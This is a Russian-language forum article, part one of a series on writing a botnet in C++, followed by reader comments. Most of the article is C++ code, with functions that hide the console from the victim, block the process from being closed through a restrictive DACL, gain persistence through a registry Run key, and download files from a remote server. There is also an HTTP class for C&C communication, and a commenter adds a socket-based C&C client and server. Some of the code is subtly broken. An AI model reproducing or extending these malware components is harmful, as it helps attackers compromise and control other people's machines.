• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Статья Пишем ботнет на C++ / Часть 1

Предисловие
На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET

Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.

Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.

Создание и организация проекта
В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.

Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
Код:
#include "stdafx.h"

int main()
{
    return 0;
}

Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
Сразу же создадим заголовочный файл для нашего класса.
Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h

Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.

Давайте распишем наши будущие методы, открываем Utils.h и пишем:
Код:
#include <iostream>
#include <Aclapi.h>

using namespace std;

class Utils {
public:
    void HideConsole();
};

Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.

Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
Код:
#include "stdafx.h"
#include "Utils.h"

/* Скрываем консоль от пользователя */
void Utils::HideConsole() {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

Наш первый метод готов!
Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
Код:
#include "stdafx.h"
#include "Utils.h"

Utils utils;

int main()
{
    utils.HideConsole();
    system("pause");
    return 0;
}

Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
};

Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
Опишем функцию DenyAccess в Utils.cpp:
Код:
/* Изменяем атрибуты процесса */
BOOL Utils::DenyAccess() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
        return FALSE;

    if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
        return FALSE;

    return TRUE;
}

Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.

Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
Код:
/* Добавление в автозагрузку */
void Utils::Autoload(string Name, string Path) {
    string command = "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V " + Name + " /t REG_SZ /F /D " + Path;
    system(command.c_str());
}

Не забываем добавлять функцию в хедер:
Код:
void Autoload(string Name, string Path);

Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.

Какой ботнет без возможности загрузки файлов с удаленного сервера?
Добавим эти функции и ещё пару попутных:
Utils.cpp
Код:
/* Загрузка файла с удаленного сервера */
void Utils::DownloadFile(wchar_t *url, wchar_t *dir) {
    URLDownloadToFile(0, url, dir, 0, 0);
}

/* Создание папки */
void Utils::CreateDir(wchar_t *dir) {
    CreateDirectory(dir, NULL);
}

/* Проверка файла на существование */
bool Utils::FileExists(const char *fname) {
    return access(fname, 0) != -1;
}
Utils.h
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"
#include <io.h>

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
    void Autoload(string Name, string Path);
    void DownloadFile(wchar_t *url, wchar_t *dir);
    void CreateDir(wchar_t *dir);
    bool FileExists(const char *fname);
};

А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.

Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
После ночи мучений, был найден подходящий код.
Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории:
Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
Код:
#include <Windows.h>
#include <WinHttp.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "winhttp.lib")

using namespace std;

class HTTP {
public:
    string Request(string domain, string url, string dat);
private:
    std::wstring get_utf16(const std::string &str, int codepage);
};

Данный класс служит для отправки HTTP POST запросов, пример использования:
Код:
HTTP http;
string response = http.Request("https://codeby.net", "/page/test.php", "UserName=test&Password=test");


На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.

Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей.
 
Спасибо за статью! Очень интересно.
 
Затравка хорошая. Пока сыренько но начало хорошее. Молодец.
 
  • Нравится
Реакции: MerlinKoss
Хелоу! Ай вонт ту си зе некст парт. Совсем забыл, да?

P.s. никто, случайно, не интересуется p2p ботнетами?
 
Не будет, мне кажется, никакой второй части...
 
непонятно зачем создавать консоль чтобы потом ее скрывать... загадка.
 
непонятно зачем создавать консоль чтобы потом ее скрывать... загадка.
Интересный вопрос, и в правду. А я как-то не придал значения :) Я, например, просто компилирую как GUI-приложение, и ничего скрывать не приходится.
 
отличная статья.
доходчиво. понятно.
Спасибо. Пишите еще!
 
Доступ к репозиторию закрыт ..........

Автору респект!! Ждем 2-ю часть. =))

---- Добавлено позже ----

Ошибка в Utils.cpp..... В строке TCHAR * szSD = TEXT("D:P"); пишет, что TEXT тут неуместен. Помогите, пожалуйста, новичок в C++=))

---- Добавлено позже ----

Значение типа const wchar_t * НЕЛЬЗЯ использовать для иниц. сущности типа TCHAR *.

---- Добавлено позже ----

Помогите!!)) :)
 
Последнее редактирование модератором:
Специально для этой серии статей создал (буду рад вашим форкам)
63798639453.png
 
Спасибо за статью, жаль ссылка на исходник битая:
"Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей."
 
Кто-нить может хоть чуть-чуть намекнуть что было в оффнутом репозитории?
 
я написал класс на сокетах, для общения с сервером.
класс имеет две функции: void output_message(); и char* input_message(char *ip_str, int port, char *mes_str);
первая функция серверная. использовалась для отладки, и скорее всего не пригодна для использования на практике.
вторая функция используется для отправки сообщений на сервер. Она принимает: ip адрес/домен, порт, и строку. возвращает ответ сервера в виде строки.
Пример:
string = input_message("codeby.net", 80, "привет")
Код написан под Линукс, но его без труда можно переписать под винду
C++:
//файл message.h

#ifndef message_H
#define message_H
#include <iostream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#endif // message_H

class message
{
private:
    struct sockaddr_in addr;  // структура в которую записываются ip и порт сокета
    struct in_addr ip;  // структура через которую пеедаётся ip
    int create_sock;  // сокет
    const int text_size = 1024; //размер буфера обмена
    char *text; //указатель на строку
public:
    message();
    ~message();
    void output_message();    // сервер
    char* input_message(char *ip_str, int port, char *mes_str);    // клиент
};
C++:
//файл message.cpp

#include <iostream>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <cstring>
#include <message.h>

message::message()  //конструктор
{
    create_sock = socket(AF_INET, SOCK_STREAM, 0); // создание сокета
    text = new char[text_size];   //строка в которою будет передаваться запрос или ответ
}

message::~message() //деструктор
{
    delete[] text;  //освобождает память после завершения функций
}

void message::output_message()  // функция сервера
{
    inet_aton("127.0.0.1", &ip);  // записывет ip адрес в структуру ip
    addr.sin_family = AF_INET;
    addr.sin_port = htons(10);  // устанавливает слушающий порт на сервере (10)
    addr.sin_addr = ip;  // принимает структуру ip и устанавливает адрес на который будем принимать сообщения
    bind(create_sock, (struct sockaddr *)&addr, sizeof(addr)); // прсваивает адресс и порт сокету
    listen(create_sock, SOMAXCONN);  // делает сокет слушающим
    while (1) {  // вечный цикл
        int sock = accept(create_sock, NULL, NULL);   // создаёт сокет новый сокет когда приходят клиенты
        for(int i = 0; i < text_size;)       //цикл проверяет передался ли весь буфер обмена
        {
            i =+recv(sock, text+i, text_size-i, 0); //записывает запрос клиента в text
        }
        std::cout << text << std::endl; //выводит запрос клиента на экран
        strcpy(text, "server->client"); //записывает строку server->client в text
        for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
        {
            i =+ send(sock, text+i, text_size-i, 0); //отправляет клиенту text
        }
        close(sock); //разрывает соединение с кллиентом
    }
}

char *message::input_message(char *ip_str, int port, char *mes_str)  // функция клиента принимает домен или ip
{
    struct hostent *ip_domain;  // ссылка на структу которая будет принимать ip адрес
    ip_domain = gethostbyname(ip_str);  // принимает домен или адрес и возврощает ip в шестнадцетиричном формате
    inet_aton(inet_ntoa(*( struct in_addr*)ip_domain->h_addr_list[0]), &ip); // записывет ip адрес в структуру ip
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);   // устанавливает порт на который будем слать сообщения
    addr.sin_addr = ip;  // принимает структуру ip и устанавливает адрес на который будем посылать сообщение
    connect(create_sock, (struct sockaddr *)&addr, sizeof(addr)); // установка соединения
    strcpy(text, mes_str); //text получает строку из функции
    for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
    {
        i =+send(create_sock, text+i, text_size-i, 0); //отправляет text серверу
    }
    for(int i = 0; i < text_size;) //цикл проверяет передался ли весь буфер обмена
    {
        i =+recv(create_sock, text+i, text_size-i, 0); //принимает ответ от клиента и записывает его в text
    }
    close(create_sock); //разрыв соединения
    return text; //возврощает text функции
}
Скажите пожалуйста всё ли я сделал правильно. И обязательно нужно использовать HTTP для общения с сервером?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD